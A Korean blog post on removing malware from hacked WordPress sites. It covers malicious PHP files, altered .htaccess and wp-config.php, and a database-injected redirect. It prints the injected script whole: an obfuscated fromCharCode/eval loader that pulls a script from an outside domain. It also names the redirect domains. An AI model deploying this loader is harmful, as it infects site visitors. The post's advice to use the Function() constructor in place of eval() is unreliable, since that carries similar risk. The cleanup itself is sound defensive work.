워드프레스는 보안이 안전한 편이지만, 업데이트를 소홀히 하거나 약한 비밀번호를 사용하는 경우 멀웨어(악성코드)에 감염되거나 사이트가 해킹당할 수 있습니다. 블루호스트, 카페24, 가비아, 사이트그라운드, 아마존 AWS, Vultr 등 거의 모든 웹호스팅에서 보안을 소홀히 할 경우 멀웨어에 감염될 수 있으므로 평소에 1) 워드프레스, 테마, 플러그인을 최신 버전으로 업데이트하고 2) 정기적으로 백업하고, 3) 가능한 경우 보안 플러그인을 설치하면 보안에 도움이 됩니다.
멀웨어에 감염되면 보통 데이터에만 영향을 미치지만, 간혹 DB(데이터베이스)에 악성코드가 주입되는 경우가 있습니다. 최근 블루호스트 공유호스팅에서 호스팅되는 워드프레스 사이트가 악성코드에 감염되어 멀웨어 제거 작업을 수행했습니다. 한 사이트는 악성코드에 감염된 파일들을 모두 제거했지만, 이상한 사이트로 리디렉션되는 현상이 나타나서 살펴보니 개별 글에도 악성코드가 주입되어 있었습니다.😥
워드프레스 데이터와 DB를 모두 감염시키는 멀웨어 제거
멀웨어에 감염될 경우, FTP를 통해 웹 서버에 접속해보면 이상한 PHP 파일들이 생성되어 있는 경우가 많습니다. 또한, .htaccess 파일을 생성되거나 .htaccess 파일과 wp-config.php 파일이 변조되기도 합니다.
위의 그림을 보면 의미가 없는 문자와 숫자로 된 php 파일들이 생성되어 있음을 볼 수 있습니다.
멀웨어 파일들을 제거하면 보통 사이트가 정상화되지만, 드물지만 글/페이지에 악성코드 스크립트가 주입되기도 합니다. 악성코드를 제거하고 스캔했을 때 악성코드가 없는 것으로 나타났지만 사이트에 접속하면 다음과 같은 사이트로 리디렉션되는 현상이 나타났습니다.
flowersforsunshine.com
szqxvo.com
DB를 살펴보니 아래 그림과 같이 이상한 스크립트가 추가되어 있는 것을 확인할 수 있었습니다.
위에 표시된 스크립트가 아마도 이상한 사이트로 리디렉션되도록 하는 것 같습니다.
<script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));/*674867468*/</script>
멀웨어에 감염된 파일을 살펴보면 eval() 함수가 추가되는 경우가 많습니다. eval()을 사용하면 해커가 위험한 코드를 사용할 수 있으므로 사용해서는 안 된다고 합니다.
JavaScript에서 eval() 함수는 문자열로 표현된 자바스크립트 코드를 실행할 수 있는 기능을 제공합니다. 하지만 eval() 함수를 사용하는 것은 보안과 성능 문제를 야기할 수 있습니다.
보안적인 측면에서 eval() 함수는 실행할 코드가 무엇인지 미리 알 수 없습니다. 이는 악성 사용자가 악성 코드를 eval() 함수를 통해 실행할 수 있게 하므로 보안상의 위험성이 존재합니다. 또한 eval() 함수를 사용하면 실행될 코드를 동적으로 생성할 수 있기 때문에, 코드를 분석하거나 디버깅하기 어려워지며, 디버깅 도구의 동작을 방해할 수 있습니다.
성능적인 측면에서 eval() 함수는 코드를 실행하기 위해 해석기를 다시 시작해야 하므로, 코드 실행에 많은 시간이 소요될 수 있습니다. 또한 실행될 코드를 동적으로 생성할 경우, 코드를 캐시할 수 없기 때문에, 반복적으로 실행될 때마다 실행 속도가 느려질 수 있습니다.
따라서 eval() 함수를 사용하는 것은 보안과 성능 측면에서 모두 위험하며, 대부분의 경우 다른 대안을 사용하는 것이 좋습니다. 예를 들어, JSON.parse() 함수를 사용하여 JSON 문자열을 파싱하거나, Function() 생성자를 사용하여 동적으로 함수를 생성하는 방법 등이 있습니다.
저는 먼저 사이트의 데이터와 DB를 백업하여 클라우드웨이즈(Cloudways)에 테스트 사이트를 생성하여 데이터와 DB로 임시로 복구한 다음, 멀웨어 제거 작업을 했습니다. 클라우드웨이즈에서는 하나의 서버에 여러 개의 애플리케이션(워드프레스 등)을 추가할 수 있습니다.
두 개의 사이트가 감염되어 두 개의 애플리케이션을 생성하여 각각에 복원하여 작업했습니다. 요약하면 다음과 같은 절차로 진행하는 것을 고려할 수 있습니다.
- 감염된 사이트의 데이터와 DB 백업
- 테스트 서버에 워드프레스 사이트 생성
- 테스트 사이트에서 복원
- 멀웨어 제거 및 멀웨어 스캔
- 멀웨어 제거 후 본래 사이트를 초기화
- 멀웨어가 제거된 임시 사이트의 데이터와 DB를 사용하여 본래 사이트 복원
조금 복잡하지만 이런 방법으로 진행하면 안전하게 멀웨어를 제거할 수 있을 것입니다.
워드프레스 관련 문제나 멀웨어를 해결하는 데 어려움을 겪는 경우 여기에서 서비스(유료)를 의뢰하실 수 있습니다. 저렴한 비용에 문제 해결을 도와드리고 있습니다.
참고
https://avada.tistory.com/2791
https://avada.tistory.com/2897